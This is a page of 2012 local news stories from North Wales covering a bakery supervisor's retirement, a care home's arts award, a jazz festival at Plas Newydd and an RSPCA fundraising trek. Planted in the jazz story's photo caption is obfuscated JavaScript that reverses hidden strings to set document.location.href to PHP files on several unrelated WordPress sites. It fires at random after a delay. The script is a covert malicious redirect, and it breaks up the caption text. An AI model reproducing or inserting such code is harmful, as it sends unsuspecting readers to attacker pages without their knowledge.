Category: News

Queen of Cakes takes her final bow

Gloria Davies retires from Gerrards Bakery after 41 years.. Pictured (front L/R) is Gloria Davies with Dirk van Rensburg,Albi Davies, Claire and Philip Gerrard-Jones and Dawn van Rensburg.

The longest serving member of staff at Wales’s oldest craft bakery has finally hung up her apron.

Gloria Davies, 69, from Buckley, has just retired after working for the Wrexham-based family firm, Gerrards, for 41 years.

She was the area supervisor with responsibility for the award-winning bakery’s 15 shops across North Wales and the Wirral.

As a retirement gift, Gloria and husband, Albert, 74, enjoyed a two-night break at the Portmeirion Hotel set in the magical Italianate village created near Porthmadog, in Gwynedd, by the Sir Clough Williams-Ellis.

Appropriately, she was also presented with a beautiful cake decorated with a picture of her taken in 1971, the year she started with Gerrards.

After paying tribute to the incredible support she’d received from Albert, Gloria said: “I have really enjoyed working at Gerrards. I’ve got some very fond memories of working here  over the years.”

Gloria  was born at Leasowe on the Wirral where she left St George’s secondary modern school at 15 and went to work at a pharmacy. Albert, from Wallasey, worked as a motor mechanic for the GPO in Birkenhead.

After a spell working for the Timothy Whites chemists chain at Chester, Gloria switched to a delicatessen and cake shop in Buckley, which was taken over by Gerrards. Albert meantime transferred to the GPO in Mold.

The couple have two children, twins Andrew and Helen, and three grandchildren.

Gerrards, established in 1838, is now being run by the sixth generation of the Gerrard family, Dawn van Rensburg and her husband, Dirk.

Gloria’s role as area supervisor involved passing on her experience and enthusiasm to more than 130 staff  at shops in Bangor, Llandudno, Mold, Buckley, Wirral (two shops), Wrexham (four shops), Bala, Corwen, Chirk, Gresford and Llangollen.

She also supervised the fleet of eight sandwich vans that supply offices, factories and business parks in North Wales, Shropshire, Cheshire and the Wirral with freshly baked products.

Dawn said : “I’ve known Gloria since I was a child , she’s an incredible woman.

“She’s been a real mainstay of the company, providing so much support to all the staff. Her  loyalty has been remarkable, she is very much part of the family.

“We will miss Gloria terribly but we certainly won’t lose touch with her.”

It was a sentiment echoed by Dawn’s father, Philip Gerrard Jones, who ran the company for all his working life until he passed on the baton to his daughter and her husband Dirk.

Mr Gerrard Jones recalled: “Gloria was the assistant manager of a delicatessen we bought in Buckley which is the shop that is now our bakery.

“With Gloria in charge, the display was wonderful, the staff were all turned out immaculately and her figures were always spot on.

“She became the perfect manageress and she was the logical choice to become the  shop supervisor.

“We are obviously sad to see her go but we wish her and Albert a lovely retirement.”

For her part, Gloria certainly doesn’t intend putting her feet up.

She added: “I really enjoy painting to I’m going to go back to my art and I’m going to start bowling and cycling again.”

Albert, who retired 19 years ago, is now looking forward to seeing much more of his wife.

He said: “She always enjoyed her job with Gerrards and she was treated very well by the family.

“We are going to be able to get out and about which is something we’ve not done much  before.  I’m looking forward to it.”

Monday July 2nd, 2012

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Top art award for care pioneers

Mario Kreft with artist in residence Sarah Edwards with the Art in Busness award.

A care organisation from North Wales has won a prestigious award for the innovative way they use the arts to improve the quality of life for residents.

Wrexham-based Pendine Park was honoured at the glittering Arts and Business Cymru Awards at the Millennium Centre, in Cardiff.

They were recognised for their ground-breaking collaborations with the world-renowned orchestra, the Hallé, and Welsh National Opera.

The Arts, Business and Community Award was presented to Pendine Park proprietor Mario Kreft MBE and their artist-in-residence, Sarah Edwards. The other finalists in their category were John Lewis and Waitrose.

Pendine Park have previously been nominated several times and in 2008 they won the Arts and Business Cymru Sustainability Award for their long-standing commitment to the arts.

They were believed to be the first independent care organisation to employ an artist in residence when Sarah Edwards was appointed 16 years ago.

Pendine Park and the Hallé have collaborated for the last four years to bring residents something new in the form of music workshops.

They are now working with the orchestra to develop an in-house course for staff with a view to developing it into a nationally recognised qualification that could be rolled out across Wales.

Last year Pendine Park Pendine teamed up with Welsh National Opera to help promote the cutting edge three-year programme in Wrexham.

They were among the first of the WNO’s Community Champions to be unveiled in North Wales.

Residents were involved in the pioneering opera project, Nine Stories High, and their stories formed the basis of the first episode.

As part of the project, two members of WNO’s acclaimed Chorus, soprano Meriel Andrew and tenor Simon Buttle, raised the roof at a concert at Pendine Park’s Hillbury home.

Sarah Edwards said: “I was surprised but absolutely delighted that we won – not just for me and Pendine Park but also for the residents.

“It was a wonderfully glamorous occasion at the Millennium Centre, a truly unforgettable evening.

“I must pay tribute to Mario because when I approached him all those years ago, art therapy was virtually unheard of – especially in the care sector.

“He and his wife, Gill, are great lovers of the arts and, luckily for me, they were able to see how art can and does benefit people, enriching their lives.

“I think the arts gives the residents a focus away from their illness, it provides escapism and creativity – and something different.

“As well as our partnerships with the Hallé and WNO, I conduct one-to-one sessions, regular group art therapy sessions and photography classes which definitely raise the spirits of the residents. We also regularly visit art galleries.”

An equally delighted Mario Kreft added: “Being recognised in this way has given us all at Pendine Park a real sense of pride.

“The arts gives people a sense of purpose and the work that Sarah does has certainly helped residents to lead fulfilled lives.

“Very often, people have not realised that they have an artistic talent – so it gives them an enormous sense of achievement and pleasure.

“They look forward to the lessons and the gallery visits and the exhibitions that we put on here.

“We have also been extremely lucky to be able to work with world class musicians from the Hallé and WNO to support our projects to enrich people’s lives through the medium of music.

“I know that from the feedback I get from residents and their families how much an impact the arts has in improving their quality of life.”

Tuesday June 26th, 2012

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Strong line-up at Summer Night Jazz

AnthonyStrongPho$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to2 web 2

Pianist and singer Anthony Strong paid his dues as a session musician with the likes of Michael Bolton, Charlotte Church and Beverley Knight.

But Strong has emerged from the shadows as the most talked about, critically acclaimed performer on the British jazz scene, having been compared to superstars Michael Bublé and Jamie Cullum.

His growing legion of fans include Michael Parkinson, Rod Stewart – not to mention Jamie Cullum himself.

Now, Strong is set to delight the Summer Night Jazz audience at Plas Newydd, on Anglesey on Saturday, July 7, where he’s topping the bill with his own brand of feel-good music.

A crowd-pleasing Brazilian Latin band called Banda Bacana will be generating a carnival atmosphere and  there will also be a New Orleans-style jazz ensemble made up of members of Beaumaris Brass Band.

After an absence of seven years, the festival was revived last year and was a big hit with the thousands of jazz lovers who flocked to the scenic Plas Newydd that looks across the Menai Strait towards Snowdonia.

The comeback was the brainchild of Gwyn Evans, a peripatetic music teacher with Gwasanaeth Ysgolion William Mathias  (William Mathias Schools’ Service) whose many other hats include that of Musical Director of the multi-award winning Beaumaris Brass Band.

He has once again been supported by Gaerwen-based home improvements specialists, Peninsula, who have a long track record of supporting the arts and also sponsored last year’s event.

Gwyn, who also plays the trumpet and sings, will also be performing with his own band, Dr Jazz.

As well as the jazz night on the Saturday night, on the Sunday there will be a celebration of youth with local bands, choirs and orchestras will be taking part.

Strong is thrilled to be performing in Wales for the first time as, despite being raised in London, he has strong Welsh ties.

He said: “Dad was from Gwent; in fact the whole of his family originates from the area so I visited Wales, and not just Gwent, a great deal as I grew up. It’s a fabulous country and I love the Welsh people.

“I’m really looking forward to Summer Night Jazz at Plas Newydd, there’s something special about an open air concert. It certainly makes for a great atmosphere.”

Born in London in 1984, Strong studied at the Junior Royal Academy of Music and The Purcell School of Music before embarking on a four year Jazz Degree at The Guildhall School of Music.

He admits to coming to jazz a bit later than many of his contemporaries and might not have made the leap at all if it hadn’t been for a teacher at the Purcell School of Music.

He explained: “I went to Purcell as a clarinetist but spent about five hours a day tinkering about on a piano.

“A jazz teacher told me I should give it a try and concentrate on piano. It took me a while to see the light but eventually I had to give it a go.

“I started off as a session musician really and worked with people such as Michael Bolton, Charlotte Church, Beverley Knight and others. But eventually decided it was time to step out from the shadows and give it a go myself.

“I worked hard and I think I have paid my dues and developed my own style. It’s true I am always being compared to Michael Bublé and Jamie Cullum in particular and that’s fine but I think we are very different.

“Michael Bublé is to me, a performer, a brilliant performer, but a performer none the less. I would class myself more as a musician. I want to absolutely nail the music; it has to be bang on, that to me is more important than the performance.”

He added: “But it’s still an honour to be spoken about on the same lines as people so massively talented. Let’s face it, Bublé, what a voice and Jamie Cullum, what a musician.

“However, the musician I admire most is probably Harry Connick, his voice and musical ability, he has it all.”

And after a decade learning his trade 26-year-old Strong is making his mark on the jazz scene and, more importantly, according to the critics, helping push jazz into the mainstream.

Strong says he has a busy year ahead with a string of international dates as well as Summer Night Jazz.

He released his EP “Delovely” in September last year to critical acclaim and was thrilled it went straight to the top of the Amazon Jazz Download Chart.

Following the release of “Delovely”, Strong, and his band, performed sell-out shows at the London Jazz Festival, Dubai Jazz Festival and Cheltenham Jazz Festival.

And he will be playing at festivals right across Europe with performances in Germany, Switzerland, Austria, Norway, Sweden, Denmark, Italy, Spain and Portugal already lined up.

He said: “I also had the opportunity to write a film score for a short film last year and would love to score a feature film sometime in the future.

“But speaking of ambitions, two top my list. The first is to sell a million records, that’s when I will know I have truly made it as a musician and the second is to perform with Diana Krall, what a lady, what a voice.”

And while Krall, the wife of Elvis Costello, won’t be at Plas Newydd, the National Trust Property that is the home of the Marquis of Anglesey for Summer Night Jazz, Anthony Strong will be.

And if you love jazz classics and like to hear new material performed by a new and exciting performer, get the picnic hamper ready and let Anthony Strong entertain you with his of
foot-tapping, feel-good brand of jazz.

For tickets, which are priced at £17.50 for adults and £10 for children with a family ticket (two adults, two children, costing £45) or for further information contact the ticket office on 01286 685 222 or 08442 491 895 or visit www.plasnewyddjazz.com

Monday June 25th, 2012

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RSPCA inspector’s towering challenge

RSPCA Kia Thomas with Skye at eagles Meadow.

An intrepid RSPCA inspector is taking on a towering challenge to conquer the world’s highest free-standing mountain in a bid to raise cash to help prevent cruelty to animals.

Kia Thomas, 30, who is part of the society’s North Wales team, covering the Wrexham area, will be joining 14 other inspectors from across the UK on the RSPCA’s Kilimanjaro Trek 2013.

They will be attempting to reach the summit with the aim of raising £80,000 to safeguard animals at risk of cruelty or neglect.

On Saturday, July 7, she will be at the Eagles Meadow shopping centre in Wrexham collecting donations to help her make her assault on Africa’s tallest mountain, which rises 19,340 feet above Tanzania.

Kia needs to raise at least £4,000 to make her part in the trek viable and at the Eagles Meadow that day she will also be selling tickets to a raffle which will see the winners drawn during a fun dog show she has personally organised as another fundraising venture for the trek at Alyn Waters Country Park in Wrexham on Sunday, July 29.

Kia, who spent a year in training before becoming a fully qualified RSPCA inspector, helps out with incidents across the region as diverse as rescuing neglected and sick horses to assisting to free birds trapped by fishing lines.

Although she maintains a reasonable level of fitness through regular running and mountain biking, Kia reckons she will definitely have to move up to a higher level of physical readiness for the Kilimanjaro challenge next February, which will see her and fellow participants having to spend seven gruelling days battling their way to the summit.

She said: “Although I realise it’s going to be really tough, I am excited and very much looking forward to tackling the trek.

“From what I’m, told we won’t be taking the easiest route to the top either, so I need to prepare myself properly beforehand.

“I’ve already started a training regime. I recently climbed Scafell Pike in the Lake District and I’ve also done local peaks such as Moel Famau.

“I also plan to spend quite a bit of time out training for the trek in Snowdonia, so I am hoping to achieve quite a high level of fitness.

“Some of the other RSPCA inspectors have been offered free membership of gyms in their local areas to help with the training, so I’m wondering if any gym in Wrexham would be willing to do the same for me. It would be fantastic if they could support me in that way.”

She added: “We have made huge strides in animal welfare over the years but there is still work to do.

“As part of my role, every day I witness first hand, acts of neglect, cruelty and violence towards animals.

“The money raised by the Kilimanjaro trek will enable the RSPCA to continue their work in rescuing, rehabilitating and re-homing, sick, injured and unwanted animals, so it’s very important it is a success.”

Kia has attracted donations of some great prizes for her raffle to be drawn at Alyn Waters Country Park next month.

These include a white water rafting session in Bala, an outdoor pursuits taster day at a centre in Llanberis, a mountain biking course and an adventure activity voucher from a company in Llangollen.

Kia added: “I’d like to say a big thank you to all the companies which have donated raffle prizes and to eagles Meadow for letting me sell tickets. I’m hoping to sell as many as possible there on July 7.”

She will also be selling raffle tickets outside the Asda store in Wrexham on the morning of Monday, June 25 and all day on Monday, July 16.

Eagles Meadow Manager Kevin Critchley was full of admiration for Kia.

He said: ““I would like to wish Kia all the best during the preparations for this epic climb and I hope that she raises a mountain of money for this very deserving charity.”

To sponsor Kia on the Kilimanjaro trek, visit her donations page at www.justgiving.com/kiathomasrspca. She also has her own Facebook page.            

Monday June 25th, 2012

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